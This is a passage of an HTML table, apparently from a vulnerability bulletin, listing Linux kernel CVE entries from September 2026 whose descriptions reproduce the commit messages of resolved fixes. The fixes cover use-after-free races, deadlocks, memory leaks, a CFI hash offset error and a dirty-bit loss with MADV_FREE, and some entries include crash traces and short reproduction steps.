&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97936&quot; target=&quot;_blank&quot;&gt;CVE-2026-97936&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: reboot: fix cad_pid use-after-free race cad_pid is a single kernel-wide struct pid pointer. proc_do_cad_pid() reads it and passes it to pid_vnr() without protecting the lifetime of the referenced struct pid. A concurrent writer can replace cad_pid and drop the final reference to the old struct pid after the reader has loaded the pointer but before pid_vnr() has finished dereferencing it, causing a use-after-free. kill_cad_pid() has the same lifetime race when it passes cad_pid to kill_pid(). At the time this issue was reported, an unprivileged user could reach the sysctl through user and PID namespaces because cad_pid was registered in pid_table[]. Moving cad_pid back to the global reboot sysctl table corrected that namespace and permission mismatch, but did not fix the underlying lifetime race. Fix this by treating cad_pid as an RCU-protected pointer at both read sites and by waiting for a grace period before dropping the old reference on the write side. call_rcu(&amp;amp;old_pid-&amp;gt;rcu, ...) cannot be used here because free_pid() also queues pid-&amp;gt;rcu; queueing the same rcu_head twice can corrupt the RCU callback list. Original KASAN crash stack: kernel/pid.c:545 pid_nr_ns() # reads freed pid-&amp;gt;level kernel/pid.c:556 pid_vnr() # calls pid_nr_ns() kernel/pid.c:775 proc_do_cad_pid() # calls pid_vnr(cad_pid)&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97938&quot; target=&quot;_blank&quot;&gt;CVE-2026-97938&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ipmr: account multicast table and route memory A netadmin in a user+net namespace can create many IPv4 and IPv6 multicast routing tables with MRT_TABLE and MRT6_TABLE. Each unseen id allocates an mr_table via the shared mr_table_alloc(), links it into the per-net list, and leaves it until netns teardown. Those objects were not charged to memcg, so the host unreclaimable slab grows with the table count. Account mr_table allocations with GFP_KERNEL_ACCOUNT and mark the IPv4/IPv6 MFC caches SLAB_ACCOUNT. This matches the established handling of IP addresses, routes and alternate interface names. Unresolved MFC entries are still allocated from softIRQ with GFP_ATOMIC and are not charged. They expire after 10 seconds and are bounded by the socket receive queue; see commit 0079ad8e8dc3 (&quot;ipmr: remove hard code cache_resolve_queue_len limit&quot;).&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97939&quot; target=&quot;_blank&quot;&gt;CVE-2026-97939&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: x86/alternatives: Exclude text poking against change_page_attr() From time to time, the following BUG can be observed in the x86 alternatives patching code [0]: &amp;gt; kernel BUG at arch/x86/kernel/alternative.c:2576! &amp;gt; Oops: invalid opcode: 0000 [#1] SMP NOPTI &amp;gt; CPU: 0 UID: 0 PID: 355 Comm: (udev-worker) Not tainted 7.1.3-1-default #1 PREEMPT(full) openSUSE Tumbleweed 8c1795b03ec64f997e57a8ad38b1161e3b98da64 &amp;gt; Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS unknown 02/02/2022 &amp;gt; RIP: 0010:__text_poke+0x2aa/0x450 &amp;gt; Call Trace: &amp;gt; &amp;lt;TASK&amp;gt; &amp;gt; smp_text_poke_batch_finish+0x2a7/0x320 &amp;gt; __static_call_transform+0xb7/0x220 &amp;gt; arch_static_call_transform+0x5b/0xb0 &amp;gt; __static_call_init+0xe9/0x270 &amp;gt; static_call_module_notify+0x11f/0x150 &amp;gt; notifier_call_chain+0x61/0xe0 &amp;gt; blocking_notifier_call_chain_robust+0x63/0xc0 &amp;gt; load_module+0x1c92/0x20c0 &amp;gt; init_module_from_file+0xd8/0x140 &amp;gt; idempotent_init_module+0x100/0x2f0 &amp;gt; __x64_sys_finit_module+0x71/0xe0 &amp;gt; do_syscall_64+0xe1/0x610 &amp;gt; entry_SYSCALL_64_after_hwframe+0x76/0x7e which matches the following BUG_ON() in alternative.c: /* * If something went wrong, crash and burn since recovery paths are not * implemented. */ BUG_ON(!pages[0] || (cross_page_boundary &amp;amp;&amp;amp; !pages[1])); This can happen if vmalloc_to_page() fails, for any reason. Such can happen if text poking races with CPA, which can possibly result in the collapsing of page tables (or breaking of PMD hugepages). It is not a problem for most users of vmalloc_to_page() (they solely own the vmalloc&#039;d range) but, when CONFIG_ARCH_HAS_EXECMEM_ROX=y, various modules own a single execmem vmalloc range, and can call set_memory_*() in parallel on it. This can happen to race against __text_poke and cause havoc in vmalloc_to_page(). Fix it by excluding against CPA using the init_mm mmap read lock. [ dhansen: Fix up SoB ordering. The actual code flow here was: Pedro=&amp;gt;Lorenzo=&amp;gt;Mike=&amp;gt;Me which is reflected in the SoB chain now. I *believe* Mike simply picked up Lorenzo&#039;s update to Pedro&#039;s post from the Link ]&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97942&quot; target=&quot;_blank&quot;&gt;CVE-2026-97942&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: x86/mm/pat: Acquire init_mm write lock on collapse to avoid UAF x86 implements page attribute modification using its Change Page Attributes (CPA) mechanism. This tracks properties of ranges such as cache mode through x86 page attributes, and as part of that logic manipulates kernel page tables. Since commit: 41d88484c71c (&quot;x86/mm/pat: restore large ROX pages after fragmentation&quot;) ranges of kernel page table entries can be collapsed into huge page table entries as part of this logic. As part of this collapse, it frees the page tables which the collapsed entries previously pointed to, and it does so without any relevant locks being held to preclude concurrent kernel page table walkers. The only way this code can be reached is if CPA_COLLAPSE is specified, and this is only set in set_memory_rox() via: set_memory_rox() -&amp;gt; change_page_attr_set_clr() -&amp;gt; cpa_flush() -&amp;gt; cpa_collapse_large_pages() Notable users of this are execmem and BPF when manipulating executable mappings. However, this is problematic for ptdump as it walks ranges it does not own and thus runs the risk of a use-after-free on page tables freed underneath it. In addition, concurrent CPA collapse operations are possible which can also cause races. Resolve the issue by acquiring the mmap write lock on init_mm across the whole operation. It is safe to acquire a sleeping lock as all the callers invoke set_memory_rox() from process context and in any case, change_page_attr_set_clr() calls vm_unmap_alias() which ultimately takes a mutex, disallowing atomic context here.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97943&quot; target=&quot;_blank&quot;&gt;CVE-2026-97943&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: x86/cfi: Fix FineIBT hash offset in cfi_get_func_hash() The switch of the FineIBT preamble from &quot;subl $hash, %r10d&quot; to the shorter &quot;subl $hash, %eax&quot; moved the hash immediate from offset 7 to offset 5 of the preamble. fineibt_preamble_hash was updated to match, but the open-coded offset in cfi_get_func_hash() was missed and it still reads the hash at offset 7. cfi_get_func_hash() is used by the BPF JIT to give a struct_ops trampoline the CFI hash of the stub function it stands in for. With FineIBT the trampoline now gets the upper half of the real hash followed by the first two bytes of the next instruction, so the first indirect call from the kernel into a struct_ops program, tcp_init_congestion_control() calling -&amp;gt;init() of a BPF congestion control for example, fails the FineIBT check and the kernel dies with a CFI failure. Move the FineIBT preamble template and its offset defines above cfi_get_func_hash() and use fineibt_preamble_hash there, so every reader of the preamble shares one definition of its layout. The CFI_FINEIBT arm is only built with CONFIG_FINEIBT, the only configuration in which cfi_mode can take that value. cfi_get_func_arity() does not need the same treatment: the __bhi_args call whose displacement it reads still ends at the function address.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97944&quot; target=&quot;_blank&quot;&gt;CVE-2026-97944&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: x86/mm: Fix user-space data loss with MADV_FREE and THP Some of users of Polars (a data analytics library) have lost production data from this bug. They seem to have just the right combination of huge pages, MADV_FREE and heavy reclaim pressure. pmd_modify() masks the old value with (_HPAGE_CHG_MASK &amp;amp; ~_PAGE_DIRTY), silently discarding the hardware dirty bit. The subsequent pmd_mksaveddirty() call is supposed to transfer _PAGE_DIRTY into _PAGE_SAVED_DIRTY when write-protecting, but the dirty bit was already stripped from the value, so there is nothing left to transfer. Contrast with pte_modify(), which keeps _PAGE_DIRTY_BITS in its mask, and pud_modify(), which keeps _HPAGE_CHG_MASK untouched: pmd_modify() is the odd one out. Any pmd_modify() on a writable, dirty PMD loses the dirty state. One visible consequence is data loss with MADV_FREE on PMD-mapped THP: memset(buf, 0x5A, size); // PMD-mapped THP, PMD dirty madvise(buf, size, MADV_FREE); // PMD cleaned but left writable, // folio marked lazyfree memset(buf, 0x5A, size); // hardware sets _PAGE_DIRTY again mprotect(buf, size, PROT_READ); // pmd_modify() drops the dirty bit mprotect(buf, size, PROT_READ|PROT_WRITE); // ... memory pressure ... Reclaim (e.g. under memcg pressure) then finds the lazyfree folio with no dirty bit set anywhere and frees it in __discard_anon_folio_pmd_locked(), even though the data was rewritten after MADV_FREE; subsequent reads fault in fresh zero pages. NUMA hinting alone can trigger the same loss, as do_huge_pmd_numa_page() restores the PMD through pmd_modify() as well. PMD-mapped file THPs are affected too: mprotect()/NUMA hinting dropping the dirty bit means rewritten data is never written back. Fix it by keeping _PAGE_DIRTY in the preserved mask, exactly like pte_modify() and pud_modify() do. The existing pmd_mksaveddirty()/pmd_clear_saveddirty() pair then performs the hardware-dirty &amp;lt;-&amp;gt; saved-dirty transition based on the write bit, preserving the shadow-stack encoding rules.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97945&quot; target=&quot;_blank&quot;&gt;CVE-2026-97945&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: x86/amd_node: Fix PCI device reference counting in amd_smn_init() The local &quot;root&quot; pointer is a temporary variable used during the device search. Therefore, refcount related to the search iterators should be cleaned up after the search is complete. Use the __free() cleanup macro to ensure the refcount is decremented when the temporary pointer goes out of scope. Additionally, increment the refcount when caching a root pointer. This ensures the in-use refcount is separate from the temporary search refcounting. Finally, drop the redundant &quot;root = NULL&quot; before the second search loop. The pci_get_class() iterator always decrements the refcount of its &quot;from&quot; argument, so the first loop can only fall through with &quot;root&quot; already NULL.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97946&quot; target=&quot;_blank&quot;&gt;CVE-2026-97946&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: x86/amd_node: Fix potential NULL pointer dereference amd_smn_read/write() are exported functions around __amd_smn_rw(), so they are always available even if amd_smn_init() fails. In that case, &#039;amd_roots&#039; is NULL and __amd_smn_rw() will access uninitialized memory. Then, commit: 83518453074d (&quot;x86/amd_node: Add SMN offsets to exclusive region access&quot;) added the &#039;smn_exclusive&#039; flag, which indicated the calls to pci_request_config_region_exclusive() succeeded, to prevent concurrent userspace access. Commit: 0a4b61d9c2e4 (&quot;x86/amd_node: Fix AMD root device caching&quot;) re-ordered initialization so pci_request_config_region_exclusive() is called earlier and a failure exits amd_smn_init() before allocating &#039;amd_roots&#039;. The setting of &#039;smn_exclusive&#039; moved to the end of amd_smn_init(), after &#039;amd_roots&#039; is allocated. It became redundant and can be removed. Replace &#039;smn_exclusive&#039; with directly checking &#039;amd_roots&#039;, to fix a potential NULL pointer dereference and to simplify the logic. [ bp: Reorg commit message, touchup comment. ] [ mingo: Rebase &amp;amp; further touchups. ]&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97947&quot; target=&quot;_blank&quot;&gt;CVE-2026-97947&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: powerpc/eeh: Fix recursive locking on devices without EEH sensitive driver The commit 1010b4c012b0 (&quot;powerpc/eeh: Make EEH driver device hotplug safe&quot;) refactored the EEH code such that the pci_rescan_remove_lock is held at the beginning of eeh_handle_normal_event() and the eeh_reset_device() is called with that lock being held. Looks like the commit missed to remove the existing lock/unlock inside eeh_rmv_device() which is no longer necessary. This is causing the eehd to hang on the lock which it actually holds when that code path is taken. [&amp;lt;0&amp;gt;] 0xc00000011c78f870 [&amp;lt;0&amp;gt;] __switch_to+0xfc/0x1a0 [&amp;lt;0&amp;gt;] pci_lock_rescan_remove+0x30/0x44 [&amp;lt;0&amp;gt;] eeh_rmv_device+0x290/0x2e0 [&amp;lt;0&amp;gt;] eeh_pe_dev_traverse+0x80/0x130 [&amp;lt;0&amp;gt;] eeh_reset_device+0xcc/0x23c [&amp;lt;0&amp;gt;] eeh_handle_normal_event+0x830/0xa80 [&amp;lt;0&amp;gt;] eeh_event_handler+0xf8/0x190 [&amp;lt;0&amp;gt;] kthread+0x194/0x1b0 [&amp;lt;0&amp;gt;] start_kernel_thread+0x14/0x18 The issue is seen for cases where the errors are detected on the PHB directly AND|OR for devices where the driver error_detected() returns PCI_ERS_RESULT_NEED_RESET, and driver being not EEH sensitive(i.e no error handlers like slot_reset(), resume() etc defined).&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97948&quot; target=&quot;_blank&quot;&gt;CVE-2026-97948&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: configfs: unhash the dentry before dropping the item in rmdir configfs_get_config_item() treats a hashed dentry as proof that sd-&amp;gt;s_element is a live config_item. configfs_rmdir() breaks that: simple_rmdir() leaves the dentry hashed, the last reference to the item is dropped right after, and the dentry is only unhashed by d_delete() once -&amp;gt;rmdir() has returned. configfs_symlink() resolves its target holding no lock on it, so get_target() can land in that window: BUG: KASAN: slab-use-after-free in config_item_get+0x26/0x90 get_target fs/configfs/symlink.c:128 [inline] configfs_symlink+0x4ab/0x1030 fs/configfs/symlink.c:185 Unhash in configfs_remove_dir(), while the item is still guaranteed to be there. A reference obtained just before that stays harmless, as create_link() rechecks CONFIGFS_USET_DROPPING, already set by configfs_detach_prep(). Both configfs_unregister_subsystem() paths d_drop() after detaching, so this only makes rmdir match them.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97949&quot; target=&quot;_blank&quot;&gt;CVE-2026-97949&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: configfs: pin the symlink target&#039;s dirent instead of chasing -&amp;gt;ci_dentry create_link() reads the target&#039;s configfs_dirent from item-&amp;gt;ci_dentry-&amp;gt;d_fsdata, relying on the item reference taken by get_target(). That reference pins the item, not its dentry: the dentry is pinned by DCACHE_PERSISTENT, which configfs_remove_dir() releases via simple_rmdir() while the item is still alive. A symlink racing with rmdir of its target can therefore find -&amp;gt;ci_dentry freed and its dirent released, triggering WARN_ON(!atomic_read(&amp;amp;sd-&amp;gt;s_count)) in configfs_get(). Take the dirent in get_target() as well, under -&amp;gt;d_lock and atomically with the item reference, and pass it down to create_link(). A hashed dentry has not been killed yet, so its -&amp;gt;d_fsdata reference keeps the dirent alive there.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97950&quot; target=&quot;_blank&quot;&gt;CVE-2026-97950&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: target: iscsi: Fix hang for aborted WRITE_PENDING commands When a LUN_RESET aborts a WRITE command that is in the TRANSPORT_WRITE_PENDING state, the target core sets CMD_T_ABORTED and waits for the frontend to finish processing. If the initiator subsequently sends the remaining dataout PDUs, __iscsit_check_dataout_hdr() catches the payload, stops the dataout timer if the sequence is final and finally dumps the data. However, the iSCSI target doesn&#039;t trigger the completion process for these aborted commands. Because of this, the abort path hangs indefinitely in target_put_cmd_and_wait(), leading to a deadlocked target worker thread. Fix this by explicitly calling target_complete_cmd() when the final dataout PDU is received for an aborted WRITE command. target_complete_cmd() detects the CMD_T_ABORTED flag and cleanly routes the command into target_abort_work, allowing the abort completion to successfully unblock.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97951&quot; target=&quot;_blank&quot;&gt;CVE-2026-97951&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: sunvdc: unmap LDC cookies when the descriptor send fails __send_request() maps the request&#039;s pages into the LDC channel&#039;s map table (ldc_map_sg()), fills in the descriptor and marks it VIO_DESC_READY before ringing the doorbell via __vdc_tx_trigger(). When the trigger fails, the error path only prints a message: the descriptor stays READY and the cookies are never unmapped. The mapping is normally released in vdc_end_one() when the peer completes the descriptor - but a descriptor whose doorbell was never sent will never complete, and since dr-&amp;gt;prod is not advanced on failure, the reset path (vdc_requeue_inflight(), which walks [cons, prod)) never visits it either. The map table entries are leaked permanently. Since commit a11f6ca9aef9 (&quot;sunvdc: Do not spin in an infinite loop when vio_ldc_send() returns EAGAIN&quot;) trigger failures occur in practice under load, so every resulting I/O error also leaks one request&#039;s worth of entries from the fixed-size (8192 entries per channel) map table. Because the allocator hands out contiguous ranges, fragmentation makes large multi-segment requests fail first as the table drains, until ldc_map_sg() fails permanently and the disk is dead until reboot. It also makes any retry-based recovery unusable: requeuing the request on -EAGAIN remaps the pages on every attempt, overwriting desc-&amp;gt;cookies and orphaning the previous mapping, so the table drains at the retry rate. This is the memory exhaustion observed when the requeue approach was first tested in October 2025. Roll back on failure: unmap the cookies, mark the descriptor FREE again and clear the request entry. If the trigger failed with -ENOTCONN, __vdc_tx_trigger() has already reset the port, which tears down and reallocates both the dring and the LDC channel including its map table - nothing to roll back, and the stale descriptor must not be touched.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97952&quot; target=&quot;_blank&quot;&gt;CVE-2026-97952&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/rds: fix tcp stream corruption with large pages rds_message_map_pages() assigns PAGE_SIZE bytes to every scatterlist entry, even when total_len ends in a partial page. The RDS congestion map is defined as 8192 bytes, so on systems with PAGE_SIZE greater than 8192 the scatterlist maps bytes beyond the end of the congestion map. RDS-TCP transmits the SG contents according to those lengths, so the extra bytes become part of the TCP RDS stream and are interpreted as subsequent RDS message headers, corrupting the stream. Limit the final scatterlist mapping to the number of bytes remaining. This has no effect on systems with a 4K page size and allows RDS-TCP to be used on systems with 16K and larger page sizes. The RDS selftest, which previously hung on 16K pages, now passes.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97954&quot; target=&quot;_blank&quot;&gt;CVE-2026-97954&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: mana: restore the XDP program pointer when pre-allocation fails mana_xdp_set() publishes the new program into apc-&amp;gt;bpf_prog before it allocates anything, because mana_pre_alloc_rxbufs() sizes the buffers from it via mana_get_rxbuf_cfg(). When that allocation fails the function returns the error directly, skipping the err_dealloc_rxbuffs label which is the only place that restores the previous pointer. The attach is reported as failed, so the BPF core drops the reference it held for the caller and the program can be freed, while apc-&amp;gt;bpf_prog still points at it. The next consumer of mana_xdp_get() - typically mana_chn_setxdp() from mana_alloc_queues() on the following ifup, or after a TX timeout reset - then calls bpf_prog_add() on freed memory. This is reachable from an ordinary &quot;ip link set dev ethX xdp obj ...&quot; whenever the per-queue RX buffer pre-allocation cannot be satisfied. Restore the previous program on that error path.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97955&quot; target=&quot;_blank&quot;&gt;CVE-2026-97955&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: net_failover: Fix the deadlock in net_failover_slave_name_change() This is a sibling fix of commit b84c5632c7b3 (&quot;net: net_failover: Fix the deadlock in slave register&quot;). There is netdev_lock_ops() in the upper callers, so using netif_open() instead of dev_open(). Call Trace: __schedule+0x2bb/0x650 schedule+0x27/0xb0 schedule_preempt_disabled+0x15/0x30 __mutex_lock.constprop.0+0x550/0xaf0 __mutex_lock_slowpath+0x13/0x20 mutex_lock+0x3b/0x50 dev_open+0x3b/0xe0 net_failover_slave_name_change+0x22/0x40 failover_event+0xd4/0x1e0 notifier_call_chain+0x62/0xf0 raw_notifier_call_chain+0x16/0x30 call_netdevice_notifiers_info+0x50/0x80 netif_change_name+0x200/0x330 do_setlink.isra.0+0xb12/0xdf0 ? security_capable+0x9a/0x1e0 ? ns_capable+0x31/0x60 rtnl_setlink+0x302/0x670 ? netlink_recvmsg+0x296/0x340 ? security_capable+0x9a/0x1e0 ? __pfx_rtnl_setlink+0x10/0x10 rtnetlink_rcv_msg+0x384/0x460 ? __pfx_rtnetlink_rcv_msg+0x10/0x10 netlink_rcv_skb+0x61/0x120 rtnetlink_rcv+0x15/0x30 netlink_unicast+0x28f/0x3c0 netlink_sendmsg+0x216/0x450 __sys_sendto+0x222/0x230 __x64_sys_sendto+0x24/0x40 x64_sys_call+0x1d5d/0x2390 do_syscall_64+0x105/0x5a0 ? do_syscall_64+0x140/0x5a0 ? exc_page_fault+0x94/0x1e0 entry_SYSCALL_64_after_hwframe+0x76/0x7e&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97956&quot; target=&quot;_blank&quot;&gt;CVE-2026-97956&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/sched: cls_api: Don&#039;t replay RTM_GETCHAIN in tc_ctl_chain(). If a netlink socket sends RTM_GETCHAIN requests repeatedly without recv()ing the responses, tc_ctl_chain() hogs CPU and triggers Hung Task splat. [0] As caught in the stack trace, netlink_attachskb() could confuse tc_ctl_chain() by returning -EAGAIN when the userspace netlink socket&#039;s receive buffer is full. The replay: label exists since commit 32a4f5ecd738 (&quot;net: sched: introduce chain object to uapi&quot;) but was not used initially. Since commit 9f407f1768d3 (&quot;net: sched: introduce chain templates&quot;), the label is needed for RTM_NEWCHAIN because tcf_proto_lookup_ops() may release RTNL to call request_module(). However, the replay logic is unnecessary for RTM_GETCHAIN. Let&#039;s apply the replay logic only for RTM_NEWCHAIN. [0]: INFO: task repro:1018 is blocked on a mutex likely owned by task repro:1022. task:repro state:R running task stack:14096 pid:1022 tgid:1014 ppid:961 task_flags:0x400040 flags:0x00080000 Call Trace: &amp;lt;TASK&amp;gt; ? clockevents_program_event (kernel/time/clockevents.c:372) ? pskb_expand_head (net/core/skbuff.c:615) ? skb_release_data (net/core/skbuff.c:1122) ? netlink_attachskb (./include/linux/skbuff.h:1323 ./include/linux/skbuff.h:1332 net/netlink/af_netlink.c:1232) ? __netlink_lookup (./include/linux/rcupdate.h:882 ./include/linux/rhashtable.h:711 net/netlink/af_netlink.c:499) ? tc_chain_notify (net/sched/cls_api.c:3045) ? tc_chain_notify (./include/linux/skbuff.h:1384 net/sched/cls_api.c:3041) ? netlink_unicast (net/netlink/af_netlink.c:1335) ? rtnl_unicast (./include/net/netlink.h:1198 net/core/rtnetlink.c:985) ? tc_ctl_chain (net/sched/cls_api.c:3242) ? rtnetlink_rcv_msg (net/core/rtnetlink.c:7146) ? netlink_unicast (net/netlink/af_netlink.c:1354) ? __pfx_rtnetlink_rcv_msg (net/core/rtnetlink.c:7177) ? netlink_rcv_skb (net/netlink/af_netlink.c:2556) ? netlink_unicast (net/netlink/af_netlink.c:1319) ? netlink_sendmsg (net/netlink/af_netlink.c:1900) ? __sock_sendmsg (net/socket.c:800) ? __sys_sendto (net/socket.c:2281) ? __x64_sys_sendto (net/socket.c:2288 net/socket.c:2284 net/socket.c:2284) ? do_syscall_64 (arch/x86/entry/syscall_64.c:61 arch/x86/entry/syscall_64.c:84) ? entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121) &amp;lt;/TASK&amp;gt;&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97958&quot; target=&quot;_blank&quot;&gt;CVE-2026-97958&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/sched: cls_route: free emptied bucket on filter move route4_change can move an existing filter to a different top-level bucket: route4_set_parms recomputes the handle from TCA_ROUTE4_TO/ FROM/IIF, and the handle-mismatch check is gated on the &#039;new&#039; flag, so for an existing filter the new handle may differ from the old one and land in a different bucket. When this happens, the filter is unlinked from the old bucket, but the bucket itself is never freed once it goes empty. The stale empty bucket remains in head-&amp;gt;table[], causing route4_delete to report *last=false even after the last live filter is gone. That pins the empty tcf_proto and causes a leak. Fix this by refcounting the filters linked to a bucket and freeing the bucket when the count drops to zero. The existing scan in route4_delete goes away with it. The count is updated at all sites that link or unlink a filter during add, change and delete, and the bucket is dropped from head-&amp;gt;table[] as soon as it reaches zero. Conditions to recreate the bug: CONFIG_NET_CLS_ROUTE4=y, CONFIG_NET_SCH_INGRESS=y, CONFIG_NET_CLS_ACT=y. tc qdisc replace dev lo clsact tc filter add dev lo ingress protocol ip pref 100 route from 1 to 1 tc filter change dev lo ingress protocol ip pref 100 handle 0x10001 \ route from 1 to 2 tc filter del dev lo ingress protocol ip pref 100 handle 0x10002 \ route from 1 to 2 tc filter show dev lo ingress | grep -c &#039;pref 100 route chain 0 &#039;&lt;/td&gt;
